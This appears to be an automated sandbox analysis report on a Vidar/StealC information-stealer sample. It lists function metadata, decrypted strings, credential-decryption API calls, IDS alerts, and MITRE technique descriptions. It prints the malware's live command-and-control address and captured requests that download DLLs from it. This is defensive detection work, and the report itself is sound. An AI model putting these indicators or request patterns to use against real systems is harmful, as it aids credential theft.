Instruction ID: 9ce8c50f0093e5feeedec61eb903bf84777950fa96554aee6a5922a04944f575
Opcode Fuzzy Hash: b11ca2131287d7992bce66d53d486b00e039d42f499e1fb6ff3458bfa746b371
Instruction Fuzzy Hash: F541CF71908345CFC701CF39C491AABB7E4BF8E348F004A5DF984A7610E730DA598B96

Uniqueness

Uniqueness Score: -1.00%

Function 00415260 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

GetSystemTime.KERNEL32(?,02F88120,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

Strings

#F@, xrefs: 004152B1, 004152E1, 004152E4
#F@, xrefs: 0041526C, 004152E5, 004152F0, 00415304, 004152D3, 004152F3

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: SystemTimelstrcpy
String ID: #F@$#F@
API String ID: 62757014-661595268
Opcode ID: 3a859b8b0cbacdc11ebfb3e047a024e7a283962ea90257fbacdd3e9563b3f0f0
Instruction ID: 513f033f75459e748f43dcf9dcce4e772375218857ee2e068f26327ba23d5006
Opcode Fuzzy Hash: 3a859b8b0cbacdc11ebfb3e047a024e7a283962ea90257fbacdd3e9563b3f0f0
Instruction Fuzzy Hash: 8511D636D00108DFCB04EFA9D891AEE7B75EF98304F54C05EE41567251DF38AA85CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 6CD23CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CD23D19
mozalloc_abort.MOZGLUE(?), ref: 6CD23D6C

Strings

d, xrefs: 6CD23D58

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 1d9aca14b4446d6068aa52ffa0943d894a3ce54eb5d61e15d7bf051a3949991f
Instruction ID: c2db0b13435e0428bb15b8710b2d18211c9eed3c6a1f8a7aa3def82121bcf075
Opcode Fuzzy Hash: 1d9aca14b4446d6068aa52ffa0943d894a3ce54eb5d61e15d7bf051a3949991f
Instruction Fuzzy Hash: 7B11E735E04788D7EB019B69CC144EEB77DEF9631CF848218DE459BA62FB34A584C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 6CD46DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CD46E22
__Init_thread_footer.LIBCMT ref: 6CD46E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CD46E1D

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 12ac21eedd8767a8a7b40f1c1655ccaac3c939b55cb3aaca411d123c9e1cfcab
Instruction ID: 978af2fc5e22b58c1072ae789d981ae3baa2d99a18fe4692d993be652ed812dd
Opcode Fuzzy Hash: 12ac21eedd8767a8a7b40f1c1655ccaac3c939b55cb3aaca411d123c9e1cfcab
Instruction Fuzzy Hash: E9F02436204680CBFA008BAAD950FA933B5A713218F049175C74686F71C732E50BCAB3

Uniqueness

Uniqueness Score: -1.00%

Function 6CCFBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6CCFBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6CCFBEF5

Strings

cryptbase.dll, xrefs: 6CCFBEF0

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 0020b8ef9dd127295c7e125354f315453ed5bb3cb33343f9bcbe6701bf6aec18
Instruction ID: 9e21bd14e9aba9d7627d3f18785d712b44e018d689fec16aee7c06cdc59d2d1b
Opcode Fuzzy Hash: 0020b8ef9dd127295c7e125354f315453ed5bb3cb33343f9bcbe6701bf6aec18
Instruction Fuzzy Hash: 51D0C731184108F7E640AB528D15B653778AB05715F10C021F75554992D7B1D455DF54

Uniqueness

Uniqueness Score: -1.00%

Function 6CD3B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CD3B2C9,?,?,?,6CD3B127,?,?,?,?,?,?,?,?,?,6CD3AE52), ref: 6CD3B628

Part of subcall function 6CD390E0: free.MOZGLUE(?,00000000,?,?,6CD3DEDB), ref: 6CD390FF
Part of subcall function 6CD390E0: free.MOZGLUE(?,00000000,?,?,6CD3DEDB), ref: 6CD39108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CD3B2C9,?,?,?,6CD3B127,?,?,?,?,?,?,?,?,?,6CD3AE52), ref: 6CD3B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CD3B2C9,?,?,?,6CD3B127,?,?,?,?,?,?,?,?,?,6CD3AE52), ref: 6CD3B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CD3B127,?,?,?,?,?,?,?,?), ref: 6CD3B74D

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: dfba693ad1c9833340cb80d94b92c13e7d61ff111f8f56650c8edff2d3a66823
Instruction ID: 3023c93d4db5790fc26536c2a4aaf8f46651acd4a30d9c1e947ab30554201520
Opcode Fuzzy Hash: dfba693ad1c9833340cb80d94b92c13e7d61ff111f8f56650c8edff2d3a66823
Instruction Fuzzy Hash: BA51E0B1A01B25DFDB14DF18C98476AB7B5EB86304F05A129C84AAB7A1D730A804CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD36E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6CD36EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6CD36EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CD36F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CD36F5C

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 83df77445c0d8a2b4dbc49ca834b93deb76b16b7ec83611d89e56f8bc4f78900
Instruction ID: 5a23128bd62d6af7a25476d2220fb9360e7f9621441562f88d47b98a9bd5c8d1
Opcode Fuzzy Hash: 83df77445c0d8a2b4dbc49ca834b93deb76b16b7ec83611d89e56f8bc4f78900
Instruction Fuzzy Hash: 7A31E5B1A1061A8FEB04CF2DCD806AE73F9FB85344F508139D45AD7661EB31E65AC7A0

Uniqueness

Uniqueness Score: -1.00%

Function 6CD4B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CCF0A4D), ref: 6CD4B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CCF0A4D), ref: 6CD4B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CCF0A4D), ref: 6CD4B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CCF0A4D), ref: 6CD4B67F

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: a668d4d9b54bdc1ea4eb18f5f0888fbfb5812eb67752c3cfaab352742d3b56a7
Instruction ID: d914885bde0420696b8e1515c59e521494983635a3f17228339ddc4c6758b187
Opcode Fuzzy Hash: a668d4d9b54bdc1ea4eb18f5f0888fbfb5812eb67752c3cfaab352742d3b56a7
Instruction Fuzzy Hash: 2D3124B1A006169FEB10CF58C84466EBBB5FF80304F16C529C9469F261DB31E915CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6CD1F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CD1F611
memcpy.VCRUNTIME140(?,?,?), ref: 6CD1F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CD1F652
memcpy.VCRUNTIME140(?,?,?), ref: 6CD1F668

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 9cc0945347f2bc2f690cd4c3a5a69178a4661881a6042d6e792b28b4f603db29
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: C9316F71A04214AFDB14CF1DDCC4A9B77BAEBC8354B188538FA498BF14E631E9448B90

Uniqueness

Uniqueness Score: -1.00%

Function 6CD326B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CD326C1
free.MOZGLUE(?), ref: 6CD326E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CD326FF
free.MOZGLUE ref: 6CD3270D

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 444f39102e3fb14b5e65b13d107fa9fbdcd3762b22fc6915188d2e947ebd6127
Instruction ID: b9754aed3c8e66e0300cb3450a82dc4c83fccee6dfae4289f2af2938b85b2563
Opcode Fuzzy Hash: 444f39102e3fb14b5e65b13d107fa9fbdcd3762b22fc6915188d2e947ebd6127
Instruction Fuzzy Hash: 8CF0D6B2B012109BEB009F58D888A5773ADAF4225CB140035EA1AC3B23E331F918C6E5

Uniqueness

Uniqueness Score: -1.00%

Source: 00000001.00000003.2061583789.0000000002EE0000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": "http://185.172.128.23/f993692117a3fda2.php"}
Source: zVp8cG4riO.exe.5720.1.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.172.128.23/f993692117a3fda2.php"}

Source: http://185.172.128.23/8e6d9db21fb63946/softokn3.dll	Virustotal: Detection: 7%	Perma Link
Source: http://185.172.128.23/f993692117a3fda2.php	Virustotal: Detection: 6%	Perma Link
Source: 185.172.128.23/f993692117a3fda2.php	Virustotal: Detection: 6%	Perma Link
Source: http://185.172.128.23/8e6d9db21fb63946/mozglue.dll	Virustotal: Detection: 7%	Perma Link
Source: http://185.172.128.23/8e6d9db21fb63946/msvcp140.dll	Virustotal: Detection: 7%	Perma Link
Source: http://185.172.128.23/8e6d9db21fb63946/sqlite3.dll	Virustotal: Detection: 7%	Perma Link

Source: 1.2.zVp8cG4riO.exe.400000.0.raw.unpack	String decryptor: CtIvEWInDoW
Source: 1.2.zVp8cG4riO.exe.400000.0.raw.unpack	String decryptor: AgEBOxw
Source: 1.2.zVp8cG4riO.exe.400000.0.raw.unpack	String decryptor: ijklmnopqrs
Source: 1.2.zVp8cG4riO.exe.400000.0.raw.unpack	String decryptor: /#%33@@@
Source: 1.2.zVp8cG4riO.exe.400000.0.raw.unpack	String decryptor: abcdefghijklmnopqrs
Source: 1.2.zVp8cG4riO.exe.400000.0.raw.unpack	String decryptor: @@@@<@@@
Source: 1.2.zVp8cG4riO.exe.400000.0.raw.unpack	String decryptor: abcdefghijklmnopqrs
Source: 1.2.zVp8cG4riO.exe.400000.0.raw.unpack	String decryptor: "&&""..""&&"">>""&&"".."ikSQWQSQ_QBEklmn^pqrBtuvFxyzL123H5679+/\|
Source: 1.2.zVp8cG4riO.exe.400000.0.raw.unpack	String decryptor: %s\%V/yVs
Source: 1.2.zVp8cG4riO.exe.400000.0.raw.unpack	String decryptor: %s\*.
Source: 1.2.zVp8cG4riO.exe.400000.0.raw.unpack	String decryptor: }567y9n/S
Source: 1.2.zVp8cG4riO.exe.400000.0.raw.unpack	String decryptor: ntTekeny
Source: 1.2.zVp8cG4riO.exe.400000.0.raw.unpack	String decryptor: ging
Source: 1.2.zVp8cG4riO.exe.400000.0.raw.unpack	String decryptor: PassMord0
Source: 1.2.zVp8cG4riO.exe.400000.0.raw.unpack	String decryptor: J@@@`z`@J@@@J@@@
Source: 1.2.zVp8cG4riO.exe.400000.0.raw.unpack	String decryptor: OPQRSTUVWXY
Source: 1.2.zVp8cG4riO.exe.400000.0.raw.unpack	String decryptor: 456753+/---- '
Source: 1.2.zVp8cG4riO.exe.400000.0.raw.unpack	String decryptor: '--- '
Source: 1.2.zVp8cG4riO.exe.400000.0.raw.unpack	String decryptor: HeapFree
Source: 1.2.zVp8cG4riO.exe.400000.0.raw.unpack	String decryptor: GetLocaleInfoA
Source: 1.2.zVp8cG4riO.exe.400000.0.raw.unpack	String decryptor: ntProcessId
Source: 1.2.zVp8cG4riO.exe.400000.0.raw.unpack	String decryptor: wininet.dll
Source: 1.2.zVp8cG4riO.exe.400000.0.raw.unpack	String decryptor: shlwapi.dll
Source: 1.2.zVp8cG4riO.exe.400000.0.raw.unpack	String decryptor: shell32.dll
Source: 1.2.zVp8cG4riO.exe.400000.0.raw.unpack	String decryptor: .dll
Source: 1.2.zVp8cG4riO.exe.400000.0.raw.unpack	String decryptor: Vg\|wKFT89DVOKwpJBwpx
Source: 1.2.zVp8cG4riO.exe.400000.0.raw.unpack	String decryptor: d>LZ
Source: 1.2.zVp8cG4riO.exe.400000.0.raw.unpack	String decryptor: column_text
Source: 1.2.zVp8cG4riO.exe.400000.0.raw.unpack	String decryptor: login:

Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_00409540 CryptUnprotectData,LocalAlloc,LocalFree,	1_2_00409540
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_004155A0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	1_2_004155A0
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_00406C10 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	1_2_00406C10
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_004094A0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	1_2_004094A0
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_0040BF90 memset,lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	1_2_0040BF90
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CCF6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	1_2_6CCF6C80

Source: Traffic	Snort IDS: 2044243 ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in 192.168.2.5:49704 -> 185.172.128.23:80
Source: Traffic	Snort IDS: 2044244 ET TROJAN Win32/Stealc Requesting browsers Config from C2 192.168.2.5:49704 -> 185.172.128.23:80
Source: Traffic	Snort IDS: 2051828 ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 185.172.128.23:80 -> 192.168.2.5:49704
Source: Traffic	Snort IDS: 2044246 ET TROJAN Win32/Stealc Requesting plugins Config from C2 192.168.2.5:49704 -> 185.172.128.23:80
Source: Traffic	Snort IDS: 2051831 ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 185.172.128.23:80 -> 192.168.2.5:49704

Source: Malware configuration extractor	URLs: 185.172.128.23/f993692117a3fda2.php
Source: Malware configuration extractor	URLs: http://185.172.128.23/f993692117a3fda2.php

Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.23

Source: global traffic	HTTP traffic detected: GET /8e6d9db21fb63946/sqlite3.dll HTTP/1.1Host: 185.172.128.23Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8e6d9db21fb63946/freebl3.dll HTTP/1.1Host: 185.172.128.23Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8e6d9db21fb63946/mozglue.dll HTTP/1.1Host: 185.172.128.23Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8e6d9db21fb63946/msvcp140.dll HTTP/1.1Host: 185.172.128.23Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8e6d9db21fb63946/nss3.dll HTTP/1.1Host: 185.172.128.23Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8e6d9db21fb63946/softokn3.dll HTTP/1.1Host: 185.172.128.23Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8e6d9db21fb63946/vcruntime140.dll HTTP/1.1Host: 185.172.128.23Cache-Control: no-cache

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
